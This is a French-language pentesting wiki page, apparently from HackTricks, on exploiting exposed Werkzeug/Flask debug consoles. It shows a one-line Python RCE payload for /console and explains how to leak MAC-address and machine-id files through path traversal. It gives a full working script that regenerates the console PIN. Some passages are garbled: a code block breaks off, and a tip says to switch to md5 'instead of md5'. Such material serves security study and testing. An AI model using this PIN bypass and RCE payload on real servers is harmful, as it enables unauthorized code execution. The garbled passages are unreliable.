hacktricks/network-services-pentesting/pentesting-web/werkzeug.md

11 KiB

Werkzeug / Flask Debug

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

DragonJAR Security Conference est un événement international de cybersécurité avec plus d'une décennie qui se tiendra les 7 et 8 septembre 2023 à Bogotá, Colombie. C'est un événement de contenu technique de haut niveau où les dernières recherches en espagnol sont présentées, attirant des hackers et des chercheurs du monde entier.
Inscrivez-vous dès maintenant sur le lien suivant et ne manquez pas cette grande conférence !:

{% embed url="https://www.dragonjarcon.org" %}

Console RCE

Si le débogage est actif, vous pouvez essayer d'accéder à /console et obtenir une RCE.

__import__('os').popen('whoami').read();

Il existe également plusieurs exploits sur internet comme celui-ci ou un dans metasploit.

Pin protégé - Traversée de chemin

Dans certains cas, le point de terminaison /console sera protégé par un code PIN. Si vous avez une vulnérabilité de traversée de fichier, vous pouvez divulguer toutes les informations nécessaires pour générer ce code PIN.

Exploitation de code PIN de la console Werkzeug

Copié depuis le premier lien.
Voir le message "console verrouillée" de Werkzeug en forçant la page d'erreur de débogage dans l'application.

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

Localisez la console de débogage Werkzeug vulnérable à l'adresse vulnerable-site.com/console, mais elle est verrouillée par un code PIN secret.

Vous pouvez inverser l'algorithme qui génère le code PIN de la console. Examinez le fichier __init__.py de débogage de Werkzeug sur le serveur, par exemple python3.5/site-packages/werkzeug/debug/__init__.py. Vous pouvez consulter le dépôt de code source de Werkzeug pour vérifier comment le code PIN est généré, mais il est préférable de divulguer le code source grâce à une vulnérabilité de traversée de fichier car les versions diffèrent probablement.

Variables nécessaires pour exploiter le code PIN de la console :

probably_public_bits = [
    username,
    modname,
    getattr(app, '__name__', getattr(app.__class__, '__name__')),
    getattr(mod, '__file__', None),
]

private_bits = [
    str(uuid.getnode()),
    get_machine_id(),
]

probably_public_bits

  • username est l'utilisateur qui a démarré ce Flask
  • modname est flask.app
  • getattr(app, '__name__', getattr (app .__ class__, '__name__')) est Flask
  • getattr(mod, '__file__', None) est le chemin absolu de app.py dans le répertoire flask (par exemple /usr/local/lib/python3.5/dist-packages/flask/app.py). Si app.py ne fonctionne pas, essayez app.pyc

private_bits

  • uuid.getnode() est l'adresse MAC de l'ordinateur actuel, str(uuid.getnode()) est l'expression décimale de l'adresse MAC.

    • Pour trouver l'adresse MAC du serveur, il faut savoir quelle interface réseau est utilisée pour servir l'application (par exemple ens3). Si elle est inconnue, fuite de /proc/net/arp pour l'ID de l'appareil, puis fuite de l'adresse MAC à /sys/class/net/<device id>/address.

    Convertir de l'adresse hexadécimale à la représentation décimale en exécutant en python par exemple :

    # It was 56:00:02:7a:23:ac
    >>> print(0x5600027a23ac)
    94558041547692
    
  • get_machine_id() concatène les valeurs dans /etc/machine-id, /proc/sys/kernel/random/boot_id et la première ligne de /proc/self/cgroup après le dernier slash (/).

Code de get_machine_id() ```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_id
if _machine_id is not None:
    return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]:
    linux = b""

    # machine-id is stable across boots, boot_id is not.
    for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": 
        try:
            with open(filename, "rb") as f:
                value = f.readline().strip()
        except OSError:
            continue

        if value:
            linux += value
            break

    # Containers share the same machine id, add some cgroup
    # information. This is used outside containers too but should be
    # relatively stable across boots.
    try:
        with open("/proc/self/cgroup", "rb") as f:
            linux += f.readline().strip().rpartition(b"/")[2]
    except OSError:
        pass

    if linux:
        return linux

    # On OS X, use ioreg to get the computer's serial number.
    try:
</details>

Une fois que toutes les variables sont préparées, exécutez le script d'exploitation pour générer le code PIN de la console Werkzeug :
```python
import hashlib
from itertools import chain
probably_public_bits = [
    'web3_user',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '279275995014060',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
]

#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

{% hint style="success" %} Si vous utilisez une ancienne version de Werkzeug, essayez de changer l'algorithme de hachage en md5 au lieu de md5. {% endhint %}

Références

DragonJAR Security Conference est un événement international de cybersécurité qui a plus d'une décennie et qui se tiendra les 7 et 8 septembre 2023 à Bogotá, en Colombie. C'est un événement de contenu technique élevé où les dernières recherches en espagnol sont présentées, attirant des hackers et des chercheurs du monde entier.
Inscrivez-vous dès maintenant sur le lien suivant et ne manquez pas cette grande conférence !:

{% embed url="https://www.dragonjarcon.org" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥